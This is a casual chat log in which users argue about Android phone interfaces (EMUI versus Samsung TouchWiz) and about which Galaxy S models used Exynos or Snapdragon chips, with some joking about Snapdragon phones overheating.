south korean brands are fine as well

#

@past bison EMUI is a samsung expierence copycat

past bison
#

except emui runs smoothly compared to the experience i have had with samsungs touchwiz

#

also more customizable

#

Samsung on Snapdragon?

#

Have you been charged with arson for that?

past bison
#

it was one of the early galaxy models, they didnt have their own exynos cpus back then

subtle hawk
#

J1 still uses spreadtrum

#

Totally budget phones

#

Totally worth the money

past bison
#

it was a flagship galaxy so it wasnt using some bad hardware

subtle hawk
#

A series are considered subflagships

past bison
#

it was s4 or s5 iirc

subtle hawk
#

Also iirc all S-series phones have exynos SoCs

#

s4/s5 use Exynos for EU and Snapdragon for the muricas

#

The last one will burn your house down btw

#

Like the title says

past bison
#

no, the original galaxy s didnt, and neither did s2 nor s3, s4 might have had the exynos but only in korea
